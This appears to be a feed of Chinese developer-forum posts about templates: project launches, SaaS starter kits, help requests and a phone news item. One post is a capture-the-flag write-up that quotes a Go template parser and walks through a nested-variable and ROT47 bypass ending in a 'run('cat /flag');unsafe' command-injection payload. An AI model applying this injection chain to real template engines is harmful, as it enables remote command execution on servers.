开源推广模板 (点击了解更多详细信息) 我之前开发过一版 开发了一个日语句子分析的网站 能帮助到初学者学习 开发调优 原因是我经常想看句子各个组成部分,老问ai太麻烦了,moji辞书和网上写好的不好用 一怒之下开发了这个玩意 这个玩意基于gemini2.5flash,支持文字识别,直接把文字复制上去就好了 你们只需要自备apikey就好 演示: [5月21日] 体验网站 仓库地址 最近我发现后台不少人还在用(虽然我现在基本不太需要这个东西了)。因为嫌弃之前丑陋的 UI 和 UX,所以我大面积修改和排版了一下。 当然还有个事情就是之前的恶评机器人骂我项目什么刷星到几千k把我炸出来了,然我重新注意到这个东西 这次最大的特点就是加入了 DeepSeek,之前用的是 Gemini,但是额度越来越少而且贵,很多人反馈不够用。后来我发现这个 DeepSeek v4 挺好用的,最重要的是超便宜,感谢梁圣 ,不过可惜无法识别图片。 github.com GitHub - cokice/japanese-analyzer 通过在 GitHub 上创建帐户来为 cokice/japanese-analyzer 开发做出贡献。 1 个帖子 - 1 位参与者 阅读完整话题
本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容: 我的帖子已经打上 开源推广 标签: 是 我的开源项目完整开源,无未开源部分: 是 我的开源项目已链接认可 LINUX DO 社区: 是 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是 以上选择我承诺是永久有效的,接受社区和佬友监督: 是 以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出 上周累死累活的毕业论文论文终于是搞完了,于是就回顾了一下最头疼的地方。 我觉得最头疼的地方不是论文内容有多难改吧,毕竟现在大大家都用ai来写了基本上内容不用操什么心,反而是看来比较简单的改格式是真的烦人,特别是论文经过多次来回,容易出现一些特别细微的地方出现问题,然后被打回来,然后改完等导师看,又是一天过去了,但是捏,codex和claude貌似原始形态来做格式对照效果并不好,可能是我的使用方法有问题,总之就是还会让我发现一些地方,或者干脆就特别明显,演都不演了那种。唯一比较好用的就是team的pro,倒是真的还不错,但是实际上也会有一点小问题,而且修改时间动则1h以上。 所以基于以上问题我在L站搜索了一下,发现貌似没有特别好的解决方案,于是就比较针对性的vibe了一个skills来解决这个问题,发现效果意外的还不错,但是难免会有一些粗糙的地方,所以分享在这里,抛砖引玉,看看能不能集众人之力来完善这个方案qwq github: GitHub - ooyyh/templates-papers-matching · GitHub 如果帮到你了~请给我一个star~ 2 个帖子 - 2 位参与者 阅读完整话题
大家好,我是一名全职的独立开发,之前在华为和头部智驾公司。 今天发布我精心打磨的面向个人开发者的 SaaS 模板: ShipNext ShipNext 是一套面向独立开发者、创业者和小团队的全栈 SaaS 启动模板,帮助你跳过重复的基础设施搭建,把更多时间留给真正的产品逻辑、定位和上线。 除了常见的功能如认证、支付、数据库、邮件、存储、后台、营销页面、文档、博客、SEO 和常见 SaaS 工作流都已经预先连接好,你可以在此基础上快速构建自己的产品。 核心亮点 基于 Next.js 16 、TypeScript 、Tailwind CSS v4 和 shadcn/ui 内置 Better Auth ,支持邮箱登录、OAuth 、Magic Link 和密码重置 集成 Stripe / Lemon Squeezy / Paddle 支付与订阅模式 支持 Drizzle ORM 、PostgreSQL 、SQLite 和 Supabase 包含仪表盘、管理后台、定价页、落地页、文档、博客和法律页面 内置邮件模板、Newsletter 、团队通知和用户生命周期消息 支持 S3 兼容存储、文件上传、配额和使用量管理 适配 AI 编程工具工作流,适合 Cursor 、Codex 、Claude Code 、Windsurf 等工具协作开发 适合构建什么产品? ShipNext 适合用来快速启动: AI SaaS 工具 Micro SaaS 产品 生产力应用 付费社区 内容产品 目录站 内部工具 订阅制平台 带积分、额度或用量计费的产品 已包含的 SaaS 模块 应用基础 Next.js App Router 项目结构 TypeScript 类型系统 Tailwind CSS v4 样式体系 shadcn/ui 组件系统 可主题化设计 token Dashboard shell Admin screens 用户与收入 登录与注册 Google / GitHub OAuth Magic Link 密码找回与重置 用户资料设置 订阅与结账 Billing Portal 积分与额度系统 Webhook 处理 付费权限与配额控制 数据与运营 Drizzle ORM PostgreSQL / SQLite 数据库迁移与 seed 脚本 S3 兼容文件上传 Resend / React Email 邮件模板 Discord / Telegram / Slack 团队通知 Crisp 客服集成 Analytics hooks 启动页面 Landing page sections Pricing page patterns Docs Blog Contact page Legal pages SEO metadata Sitemap / robots.txt Open Graph 图片配置 技术栈 ShipNext 使用现代 SaaS 产品常见的技术组合: Next.js 16 React TypeScript Tailwind CSS v4 shadcn/ui Better Auth Drizzle ORM PostgreSQL / SQLite / Supabase Stripe / Lemon Squeezy / Paddle Resend Cloudflare S3 / Cloudflare R2 Fumadocs Crisp 另一个重复模板? ShipNext 除了包含市面上那些模板的功能之外,在以下几个部分做了优化 数据库支持 ShipNext 开箱支持 PG 、Sqlite 、MySQL ,且表结构都已适配,不同的数据库适配不同的厂商,如 PG:Neon 、Supabase 等 Sqlite:Cloudflare D1, Turso, Local file MySQL:任意 mysql 存储商或自部署 存储优化 支持用户维度的空间限制:不同的付费账户的空间限额不一样,ShipNext 内置支持,并且不同的付费计划可以设置不同的空间大小,比如免费用户设置 100MB ,付费用户设置 5GB 支持分片上传:大大加快上传速度 支持设置过期时间 定期自动删除:不会额外占用存储空间,防止文件太多空间不足 内置 <S3Upload> 组件,与分片上传自动集成,真正的开箱即用 多套实现 ShipNext 的代码非常的模块化,对于不同的模块,都内置了多套实现。很多模板只是给了个位置,但是并没有实现,ShipNext 几乎都给出了 2 ~ 3 套实现 支付:内置 Stripe 、Paddle 、LemonSqueezy ,只需修改 provider 的值就可以切换不同的支付 网站防护:Cloudflare Turnstile, hCaptcha, Google-recaptha 等 通知:支持 Discord 、Slack 、Telegram 、飞书等 其他模块 权益模型 ShipNext 对权益模型做了深入的设计和优化,可以同时支持如下的一些场景 订阅制 + 无限使用:在订阅周期,可以设置某些权益无限使用,比如下载等 订阅制 + 额度消耗:典型的如 AI 场景,一个月有多少额度,用完就没有 一次性购买 + 额度消耗:典型的仍然是 AI 场景,积分包,比如 10 刀 100 积分 订阅制 + 一次性购买 + 额度消耗:典型场景为订阅周期额度固定,用户可以继续购买额外积分包,同时额外积分包的消费优先级小于订阅周期的积分,当然都可以设置 以上几种场景几乎覆盖了所有的 SaaS 订阅场景 一对一指导 我是全职独立开发,可以保证,其他模板很难保证,并且拥有 6 年研发经验,提供市场化的经验指导,减少很多弯路 可以说,使用 ShipNext 的开发速度比市面上绝大多数模板要快的多 当然也希望大家跟我沟通,v: zhangsihai0518 任何技术上的探讨都非常欢迎!!
我现在要放一个开源的帖子,会遇到审核,然后我明明有截图,但是审核的时候我看也是空白没截图,但是结果说截图没有发出,但是实际我提交的帖子有截图,啥情况啊 提交2次了都说我没截图 5 个帖子 - 2 位参与者 阅读完整话题
ShipAny 新版本发布了🎉,上线了三套基础模板👇 shipany-next:Agent-Native 开发框架,面向 Agent Coding 而设计,通过内置 Skills 极速开发新项目 shipany-vinext:基于 Cloudflare 官方 Vinext 框架而设计,一键部署到 Cloudflare Workers ,压缩后体积是 shipany-two 的 1/7 ,绑定 CF 全家桶,节约成本 shipany-tanstack:基于 TanStack Start 而设计,使用 Vite 构建,启动与运行速度极快,跨平台部署方便 ShipAny 老用户支付 $1.99 获得新模板。新用户通过这个链接👇 https://shipany.ai/zh/pricing?ivt=idoubi 购买 Premium 会员,输入优惠码: NEXT ,立减 $50 ShipAny 官网也基于 shipany-tanstack 完成了重构,交互体验提升不少。 ShipAny 开发文档也更新了。 ShipAny 新版本整合了流行的技术栈,主推 TanStack + Vite 生态,高性能运行,部署到 Cloudflare ,极具性价比。 ShipAny 新版本精心设计了几个 Skills ,在 Coding Agent 一键调用,对话式快速完成新项目开发。 做 AI SaaS 网站需要的基础功能,ShipAny 基本上都集成了,主打一个开箱即用,让你的 Coding Agent 无需造轮子,快速上线。 ShipAny 官方出品的基础模板,ShipAny Premium 会员可以超低价获取,主打一个仪式感,让买模板跟买咖啡一样简单。 ShipAny 用户提交了几百个案例,有一些有很大的流量,有一些赚到了钱。ShipAny 定位是一把好铲子,帮助用户去淘金。 加入 ShipAny 联盟,设置专属的邀请链接和优惠码。可自行分配额度,帮助朋友获得优惠,自己获得奖励。 我们已经进入了 Agent 主导开发的新时代,做产品变得极其简单。 一个 Agent-Native 开发框架,可以让 Agent 更快速地集成项目需要的基础能力:登录、注册、支付、积分、存储、多语言、SEO 、AI 生成、管理后台。 ShipAny 的定位,就是这样一个 Agent-Native 开发框架,通过一系列的模板覆盖常用的技术栈和业务功能,内置丰富的 Skills 让 Agent 开箱即用,帮助创作者一小时上线功能完整、可商业化的 AI 产品。 新版本,新征程。期待与 ShipAny 用户共建生态,做大做强。✌️
因为用量很小,但是朋友希望能一个网站就用各种模型,而且他觉得网站更适合跟其他人装福(?),还有就是方便给其他人用一两下,所以最终决定搭个小网站,佬友们有没有什么模板可以推荐的? 10 个帖子 - 10 位参与者 阅读完整话题
如题: 各位佬友知道像 云雾api ,Lino api,有一样的免费开源模板吗?或者需要付费购买模板?都可以 老板就看上这款了 newapi我搭了 老板不喜欢 不愿意花时间让我们二开 31 个帖子 - 15 位参与者 阅读完整话题
告别千篇一律的 AI 输出,让每份内容都有独特的视觉风格 先回顾一下 v1.3 我们带来了短链接、ZIP 网站包、版本历史、标签收藏分类、多用户管理——即页解决了「分享之后怎么管理」的问题。 但很快,新的痛点浮出水面: AI 生成的页面长得都一样:同样的白底黑字,同样的默认样式——看起来就像「 AI 生成的」 想要特定风格?只能手动调 CSS:深色仪表板、学术报告、GitHub 风格……每次都要从头写 文件越来越多找不到:50 份文件靠翻列表,想找一份特定的数据分析报告?大海捞针 链接发出去了,不知道谁看过:分享出去的短链接,完全没有访问数据——发了个寂寞 AI 不会学习你的风格:每次生成内容都是全新开始,不会参考你之前满意的样式 v1.4 ,一次性解决这些问题。 🚀 五大核心更新 1️⃣ 内容模板市场:AI 生成的风格指南 这是 v1.4 最重磅的功能。内容模板市场让 AI 学会「参考风格」,而不是从零开始。 9 种场景分类,覆盖常见需求 : 场景 用途 📊 仪表板 数据可视化、监控面板 📝 报告 周报、分析报告、总结 📄 简历 个人简历、作品集 🎯 落地页 产品介绍、活动推广 📓 笔记 技术笔记、会议纪要 🎤 演示 演示文稿、PPT 风格 🃏 卡片 海报、信息卡片 ✉️ 邮件 邮件模板、Newsletter 📌 其他 不分类的内容 3 个系统内置模板 ,开箱即用: 深色数据仪表板 — 深色主题 + CSS Grid 布局 + 统计卡片 + 柱状图 项目周报 — 结构化 Markdown 周报模板 极简落地页 — 渐变 Hero + 特性卡片 + CTA 按钮 完整的模板管理 : 上传自定义模板:把你满意的作品变成模板,供下次参考 模板预览:HTML 直接 iframe 渲染,Markdown 实时预览 使用热度排序:最常用的模板排在最前 关键词搜索 + 场景筛选:3 秒找到目标模板 权限控制:私有模板仅自己可见,公开模板全员共享 MCP 协议深度集成 : AI 工具(如 Claude Code )可以直接调用模板市场: list_content_templates — 按场景/关键词搜索模板列表 get_content_template — 获取模板完整样例内容 AI 拿到模板后的工作流: 学习风格 → 生成风格一致但内容全新的作品 → 上传到即页 。 以前:AI 每次生成白底黑字的默认样式,手动调 CSS 花半小时 现在:指定模板风格,AI 自动学习配色和布局,一次生成到位 2️⃣ Markdown 渲染模板:4 种风格,随心切换 v1.4 引入了 Markdown 渲染模板系统,同一份 Markdown 可以用不同的视觉风格渲染: 模板 风格特点 默认模板 Inter 字体 + 深色背景,现代简洁 GitHub 风格 经典 GitHub Markdown 样式,自动适配深色/浅色模式 学术风格 Crimson Pro + Noto Serif SC ,衬线字体,适合论文和技术文档 深色专业 深色主题,高对比度,适合代码和技术内容 每个文件可以独立指定渲染模板——同一份 Markdown ,用学术模板渲染给领导看,用 GitHub 风格渲染给开发团队看。 以前:Markdown 渲染千篇一律,想换个风格?自己写 CSS 现在:选择模板,一键切换,4 种风格覆盖主流需求 3️⃣ 全文搜索:文件再也不怕找不到 基于 SQLite FTS5 的全文搜索引擎,让文件检索从「翻列表」进化到「搜内容」: 文件名搜索 :按文件名模糊匹配 内容搜索 :深入文件内容全文检索,支持中英文分词 组合筛选 :配合标签、分类一起使用,精准定位 以前:50 份文件,找到那份「 Q3 销售分析报告」靠肉眼 现在:搜「 Q3 销售」,瞬间定位,不管文件名叫什么 4️⃣ 链接访问统计:分享不再是「黑洞」 每次短链接被访问,自动记录统计数据: 访问量追踪 :每个文件的累计浏览次数 访问记录 :IP 哈希(隐私保护)+ User Agent + 访问时间 实时统计 :文件列表直接显示浏览量 以前:链接发出去了,到底有没有人看?不知道 现在:浏览量一目了然,访问记录随时可查 5️⃣ 健康检查端点 + 内部重构 GET /health 无鉴权探活端点 ,方便运维和容器编排: { "status": "ok", "db": "connected", "disk": "writable", "uptime": 86400, "version": "1.4.0" } 检查数据库连通性 + uploads 目录可写性 异常时返回 503 ,适合负载均衡健康检查 运行时长、版本信息一目了然 内部重构 : fs.sync → fs.promises 全面异步化,减少事件循环阻塞 now() 统一北京时间,告别 UTC 时区混乱 前端 app.js 从 1872 行拆分为 8 个 ES Module 文件,可维护性大幅提升 📊 MCP 协议扩展( v1.4 ) MCP Tools 从 15 个扩展到 17 个 ,新增: 工具 功能 list_content_templates 按场景/关键词搜索模板列表 get_content_template 获取模板完整样例内容,自动记录使用次数 同时 list_content_templates MCP tool 也已暴露给 AI 调用——这意味着 Claude Code 等 AI 工具可以直接查询模板市场,选择风格参考。 🎯 实战场景:模板市场改变工作流 场景一:产品经理 — 一句话生成风格统一的仪表板 「帮我做一份 Q3 用户增长数据仪表板,参考深色仪表板模板」 Claude Code 调用 get_content_template 获取深色仪表板样例 → 学习深色主题配色和 Grid 布局 → 生成全新的 Q3 数据仪表板 → 自动上传即页 → 短链接分享到管理群。 风格统一,内容全新。不是模板套用,是风格学习。 场景二:技术写作者 — 学术风格的技术报告 「写一份微服务架构设计方案,用学术模板风格」 AI 获取学术模板 → 学习衬线字体和论文排版 → 生成架构设计文档 → Markdown 渲染选择「学术风格」模板 → 公式用 KaTeX 完美展示,时序图用 Mermaid 渲染。 发给 CTO 的报告,看起来像正式论文,不是博客草稿。 场景三:市场团队 — 落地页秒出,不再等设计师 「做一个新产品发布落地页,参考极简落地页模板」 AI 学习渐变 Hero + 特性卡片布局 → 生成全新产品落地页 → ZIP 打包上传( HTML + CSS + 图片) → 短链接发给市场总监。 30 秒从想法到可预览页面,设计师只需在 AI 输出基础上微调。 场景四:用户上传自己的模板 — 让 AI 学会你的风格 你已经有一份满意的季度报告 HTML ?上传到模板市场,标记为「报告」场景。下次让 AI 生成报告时,它会自动参考你的风格——配色、字体、布局、组件样式,全部学习。 你的风格,就是 AI 的风格。 🌟 谁最适合升级? 如果你… v1.4 带给你的价值 AI 生成的页面风格单一 模板市场让 AI 学会风格参考,告别千篇一律 经常写 Markdown 文档 4 种渲染模板一键切换,不同场景不同风格 文件越来越多 全文搜索 + 访问统计,找文件不再靠翻列表 分享链接给客户/领导 访问统计让你知道内容有没有被看到 用 MCP 对接 AI 工具 17 个 Tools ,模板市场深度集成 运维即页服务 /health 端点 + 全面异步化,更稳定更可靠 📊 与常见方案对比( v1.4 更新版) 维度 即页 v1.4 GitHub Gist 语雀/Notion Vercel HTML 完整渲染 ✅ ❌ 仅代码 ❌ 仅嵌入 ✅ Markdown 渲染模板 ✅ 4 种风格 ❌ ⚠️ 固定 ❌ 内容模板市场 ✅ 9 种场景 ❌ ⚠️ 有限 ❌ 全文搜索 ✅ FTS5 ⚠️ 文件名 ✅ ⚠️ 文件名 访问统计 ✅ ❌ ⚠️ 有限 ⚠️ 需接入 自托管 ✅ Docker 一键 ❌ ❌ ❌ MCP 原生支持 ✅ 17 个 Tools ❌ ❌ ❌ ZIP 网站包上传 ✅ ❌ ❌ ⚠️ 需仓库 版本历史 ✅ ✅ Git 版本 ✅ ✅ Git 版本 短链接 ✅ /s/:key ✅ ✅ ⚠️ 需配置 上手门槛 🟢 极低 🟡 中 🟡 中 🔴 高 🏗️ 升级指南 已经部署了即页?升级非常简单: cd jpage git pull docker-compose up -d --build Migration Runner 会自动处理数据库升级,新增 content_templates 表、 templates 表、 file_contents_fts 虚拟表、 link_visits 表。 无需手动操作。 🔮 下一步规划 数据统计仪表盘 :存储使用、文件分布、上传趋势、访问热力图可视化 模板市场扩展 :更多内置模板,社区模板分享 实时协作预览 :多人同时查看同一文件 更多 AI 集成 :智能摘要、自动标签推荐、风格迁移 🎁 开源免费,MIT 协议 即页采用 MIT 开源协议, 免费商用、无功能限制 。 GitHub 仓库: https://github.com/code2rich/jpage 如果你也觉得「 AI 生成的精美内容值得被完整呈现」,欢迎 Star ⭐、提 Issue 、贡献代码。 v1.1 ,解决了「能不能分享」的问题。 v1.2 ,解决了「分享得好不好看」的问题。 v1.3 ,解决了「分享之后怎么管理」的问题。 v1.4 ,解决了「 AI 生成的内容怎么有风格」的问题。 内容模板市场让 AI 学会风格参考,渲染模板让同一份文档呈现不同面貌,全文搜索让文件触手可及,访问统计让分享不再盲目。 即页,从「即用即管理」进化为「即用即风格化」。 拖入文件,即刻成页。选择模板,即刻有风格。 即页,让 AI 生成的内容也有审美。 微信公众号: https://mp.weixin.qq.com/s/_iecRafkB0gOHzfDjgv3tA github: https://github.com/code2rich/jpage 即页 v1.0- v1.4 进化之路: http://36.138.227.105:8858/s/S-lddBMl
想做一个agent定期触发开拓供应商资源。 除了抄模板感觉啥也不会 。完全没有头绪。。。 5 个帖子 - 5 位参与者 阅读完整话题
公司有生成ai视频的需求,现在用comfyui本地部署,但是发现模板中给到工作流不是很好用,总是感觉生成的差点意思,但是又不知道去哪里找好用的工作流,以及训练关于产品的lora。 想问问佬有没有系统性的讲解,该从哪里开始弄一个自己能属于自己的工作流,感觉学的有点昏头了。 ps:目前了解huggingface(不太会用),用的最顺手的是LTX2.3的单次蒸馏,但是面对一些特殊的动作还是不太好用,wan2.2用起来速度很慢,而且没导到预期效果。 先在这里谢谢佬的指点迷津了 4 个帖子 - 2 位参与者 阅读完整话题
自定义模板引擎的 RCE 绕过:从嵌套变量到 strrot “特洛伊木马” 工整一些,主要是想探讨一下一个有趣的替换模板问题,也就是嵌套正则导致的绕过,来源于ACTF templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`) templateVarRE = regexp.MustCompile(`(?is)%(.*)%`) templateFuncRE = regexp.MustCompile(`(?is)^<\\\s*?(([a-z0-9_]+)\('([^']*?)'\);\s*?(unsafe)?\s*?)\s*?/>$`) quotedCommandRE = regexp.MustCompile(`(?is)^<\\(\s*?('[^']*?')*?\s*?)*?/>$`) 在我看来有点像贪婪和非贪婪的解析错位导致的逃逸 func parseTemplateString(input string, vars map[string]string) (string, error) { out := input for i := 0; i < 100; i++ { cmd := templateCommandRE.FindString(out) if cmd == "" { return out, nil } replacement, err := commandHandler(cmd, vars) if err != nil { return "", err } out = strings.ReplaceAll(out, cmd, replacement) } return "", errors.New("template recursion limit exceeded") } func commandHandler(cmd string, vars map[string]string) (string, error) { handled := cmd if matches := templateVarRE.FindStringSubmatch(cmd); matches != nil { name := matches[1] handled = strings.ReplaceAll(handled, "%"+name+"%", "'"+getVar(name, vars)+"'") } else if matches := templateFuncRE.FindStringSubmatch(cmd); matches != nil { body := matches[1] funcName := strings.ToLower(matches[2]) param := matches[3] unsafe := matches[4] != "" fn, ok := templateFuncs[funcName] if !ok { return "undefined", nil } if !unsafe && !fn.safe { return "", errAccessDenied } res, err := fn.call(param) if err != nil { return "", err } handled = strings.ReplaceAll(handled, body, "'"+res+"'") } if handled != cmd { return handled, nil } if !quotedCommandRE.MatchString(cmd) { return "undefined", nil } out := strings.ReplaceAll(cmd, "'", "") out = strings.ReplaceAll(out, `<\`, "") out = strings.ReplaceAll(out, `/>`, "") return out, nil } 需要构造的命令需要包含unsafe才能command执行,但是这里只能控制%name%并且没法确定结构, 可以细看模板的替换规律,进模板之前都会做一次贪婪匹配 templateCommandRE = regexp.MustCompile(`(?is)<\\.*?/>`) 然后第二层就是替换%%模板,又或者传进的是函数,那就检查函数, 得益于在这开始是循环进行的,也就是 for i := 0; i < 100; i++ { 可以进行嵌套体的传入,也就是说,第一步会消去%%化为’‘并且将模板原封不动传入,这里是贪婪匹配,在最后如果非函数格式,又会对消除’ ’ 并且上述的 "strrot": { safe: true, call: func(value string) (string, error) { return strrot(value), nil }, }, 函数可以原封不动return字符串, name = "<<%n1%" n1 = "%n2%" n2 =r"\\%n3%" n3 = "%n4%" n4 = "strrot(%" 这样嵌套体进行上传,数次%%替换就是 <\ '<<''\\''strrot(%''''' /> 这样并非函数在检查到非%%和函数的情况下 消除对称的’ '后就是 <\<<\\strrot(% /> 再消除<\ />后就成了 <\strrot(%, 紧接着就进入了新一轮匹配 这样就是贪婪匹配了,接下来的模板,直到下一个>,因为gin对于变量名很宽松 这样就可以构造出很长的变量名,而所以说 <\strrot(%xxxx\> 中间的xxxx可以进行任意替换, 并且strrot函数可以原封不动返回,看到这我想,妙哉~~ 如此再利用%%替换为’'可以直接替换为函数体,但是怎么插入拼接需要的执行体呢 编码,是的,strrot函数会返回解码内容, ROT47("/><\run('cat /flag');unsafe/>") 于是变成了 <\strrot('<rotated_payload>'); /> 然后整个结构体就变成了 <\/><\run('cat /flag');unsafe/>/> 最开始的非贪婪匹配又会将空的</>删去, 紧接着匹配的就是 <\run('cat /flag');unsafe/> 如此一来就可以对于模板的限制进行逃逸了,好困,bye 1 个帖子 - 1 位参与者 阅读完整话题
很符合我对一个现代网站的想象 非常有品又高效 有模板吗类似风格的也可以 想用AI搭一个这种风格的 2 个帖子 - 2 位参与者 阅读完整话题
最近给 **TanStackShip** 做了一轮优化,顺手跑了几个检测。 以前做 SEO 主要考虑搜索引擎,现在还要考虑 ChatGPT、Claude、Perplexity 等 AI Agent 的抓取与理解能力。 TanStack Start 的 SSR 确实帮了不少忙。 项目地址: TanStack Ship TanStack Templates — Production-Ready Starter Kits & Boilerplates | TanStack... Browse TanStack Templates: production-ready boilerplates and starter kits built with TanStack Router, Query, and TypeScript. Launch your SaaS, dashboard, or landing page in days. 欢迎大家帮忙挑挑刺,看看还有哪些地方值得继续优化。 1 个帖子 - 1 位参与者 阅读完整话题
使用自定义模板,然后等修复吧: ({ request: { url: "https://www.minimaxi.com/v1/api/openplatform/coding_plan/remains", method: "GET", headers: { Authorization: "Bearer ${apiKey}" } }, extractor: function(response) { var remains = response.model_remains; var plan = remains[0].model_name === "general" ? remains[0] : remains[1] var h = plan.current_interval_remaining_percent; var hrt = parseInt(plan.remains_time / 60000); var w = plan.current_weekly_remaining_percent; var wrt = parseInt(plan.weekly_remains_time / 86400000); return { isValid: true, remaining: h, unit: "%/5h", extra: "h" + h + "%⌚️" + hrt + "min, w" + w + "%⌚️" + wrt +"d" }; } }) 显示效果: 1 个帖子 - 1 位参与者 阅读完整话题
IT之家 6 月 1 日消息,华为 nova 的十周年之作 —— nova 16 系列手机已于今日正式发布,定价 2699 元起。目前, 系列机型专属功能 —— 小艺照相馆代言人专区新增的“拍立得”和“播放器”两大类型模板已公开 。 据介绍,小艺照相馆代言人专区新增“拍立得”、“播放器”两大类型模板,用户点击“上传形象”按钮上传一张照片,就能生成专属打卡照。 另外,小艺照相馆的代言人专区每张模板都融入了代言人“时代少年团”亲手绘制的线条小元素。女生形象采用 AI 模特,可用于参考用户写真生成效果。IT之家附功能前置条件如下: 华为小艺照相馆代言人专区前置条件 支持机型 该功能仅限 nova 16 系列机型使用 系统版本 该功能仅支持 HarmonyOS 6.1 系统及以上使用 (可进入系统设置 > 关于本机 > HarmonyOS 版本查看) App 版本 支持小艺 App 11.3.12.300 版本及以上使用 其他条件 该功能需要连接网络使用 功能路径:点击小艺 App 桌面图标 > 进入小艺主对话 > 在页面底部工具栏点击“照相馆”按钮 > 进入小艺照相馆 > 点击“代言人专区”标签。 ▲ IT之家现场实拍:华为 nova 16 系列真机 相关阅读: 《 2699 元起:华为 nova 16z 手机发布,麒麟 8020 芯片、后置 5000 万像素红枫影像 》 《 3899 元起:华为 nova 16 Pro / Ultra 手机发布,麒麟 9010S 芯片、业界独家红枫 2 亿影像 》 《 nova 史上最强数字版发布,华为 nova 16 手机售价 2999 元起 》
因为现在很多都可以直接 vibe coding 的,我会 java,但是需要接单可能 spring 用的不熟练,我很多有 go 和 nodejs 的多个项目经验,主要是现在想补一补 spring 的短板,希望前辈指教下,给个合适自用/接单的企业级脚手架/框架模板 我看过几个项目,yudao 和 ruoyi-vue-plus,这应该是国内比较好的,但是似乎 java 更依赖生成器,不过这个似乎也可以 ai 代劳?写个 skill? 然后 jeecgBoot 宣称是 ai 优先,有没有用过的佬 1 个帖子 - 1 位参与者 阅读完整话题
之前看到有佬的博客风格是“盗版”Github ,感觉很好玩,于是复刻了一个。 代码地址: planet-template-github Demo: https://uhufoundme.sol.build/
之前看到有佬的博客风格是“盗版”Github ,感觉很好玩,于是复刻了一个。 代码地址: planet-template-github Demo: https://uhufoundme.sol.build/
大家好,最近利用业余时间做了一个小工具: https://useprismmark.com/ 主要是解决我自己长期遇到的一个问题: Markdown 写起来很爽,但调格式很痛苦 平时写东西,我基本都用 Markdown 。 写作阶段效率很高,但到了发布阶段,发现还是有些平台不支持 Markdown 渲染。 尤其是 AI 工具越来越普及之后。 现在很多内容都是 AI 直接生成 Markdown ,但最终复制出来,很多普通用户甚至都不知道 Markdown 是什么,就看到多了很多 # 号,导致复制到 word 的时候也是感觉乱乱的。 最后花的时间往往不是写内容,而是在调格式。 于是自己做了 PrismMark 。 目前已经支持的功能 Markdown 实时预览 左边写 Markdown ,右边实时查看最终效果。 支持 markdown 常见语法。 多种排版主题 在右边栏,同一份内容可以快速切换不同排版风格。 可以完全自定义所有支持的 Markdown 语法样式。 比如: 文档风格 报告风格 阅读风格 极简风格 不需要重新调整样式。 一键复制富文本 这是我自己用得最多的功能。 很多时候并不需要导出文件。 而是直接复制到你所在的富文本编辑器中。 复制过去后尽量保持原有格式。 省掉大量手工调整时间。 导出 Word 和 PDF 现在很多内容都是 AI 直接生成 Markdown ,很多客户和同事最终还是需要复制到 Word 。 所以增加了 Word 导出功能。 避免 Markdown → Word 再重新排版。 支持 导出 PDF 我觉得比较有意思的场景 AI 写作 Claude 、ChatGPT 、Gemini 、 豆包生成 Markdown 。 直接丢进 PrismMark 排版。 然后复制或者导出。 技术文档 程序员写 README 、设计文档、接口文档。 直接生成交付版本。 内容创作 博客、公众号、知识库内容统一维护 Markdown 源文件。 一次编写,多种样式。 为什么要做这个? 就是自己每天都在写 Markdown 。 每次发布到各种平台的时候都要折腾格式。 感觉浪费时间。 所以干脆自己做了一个顺手的工具。 目前还在持续迭代阶段。 如果大家愿意体验一下: https://useprismmark.com/ 也欢迎吐槽: 哪些功能最有价值? 哪些地方不好用? 还缺什么功能? V 友的建议我都会认真看。 感谢大家。 如果大家喜欢,可以留下邮箱,送 3 个月免费会员。 我也准备了 50 个 5 折优惠码: V2EX 这是我的第一个完整的 Vibe Coding 的作品,有空的朋友动动发财的小手,也可以帮忙到 PDHUNT 点个赞,再次谢谢大家! https://www.producthunt.com/products/prismmark?launch=prismmark
很多人用 Codex 时只改 prompt,但其实项目里的 AGENTS.md 更关键。它相当于给 coding agent 的项目说明书,适合写稳定规则,不适合写一次性需求。 官方入口: Codex 文档: Codex | OpenAI Developers AGENTS.md 文档: https://developers.openai.com/codex/config/agents-md 我建议 AGENTS.md 写这些 # Project Guide ## Commands - Install: `pnpm install` - Dev: `pnpm dev` - Test: `pnpm test` - Lint: `pnpm lint` ## Architecture - Frontend: `src/app` - Shared UI: `src/components` - API client: `src/lib/api.ts` - Tests: `tests/` ## Rules - Do not change public API shape without updating tests. - Prefer existing components before creating new ones. - Keep database migrations backward compatible. - Do not commit secrets or generated build output. ## Verification Before finishing, run: 1. `pnpm lint` 2. `pnpm test` 不建议写这些 大段情绪化描述,比如“你是世界最强工程师”。 一次性需求,比如“今天帮我改登录页”。 会频繁变化的计划。 和项目无关的个人偏好。 这些更适合写在当次对话里。 一个实用技巧 把“验收命令”写进去非常有用。比如: ## Done means - Unit tests pass. - Typecheck passes. - No new console warnings in browser. 这样 Codex 做完任务时会自然知道怎么自检,而不是每次都问“要不要跑测试”。 我的结论 AGENTS.md 不要追求长,追求稳定。 它最好像项目 README 的 agent 版本:告诉模型项目怎么跑、哪里不能乱动、改完怎么验证。 3 个帖子 - 3 位参与者 阅读完整话题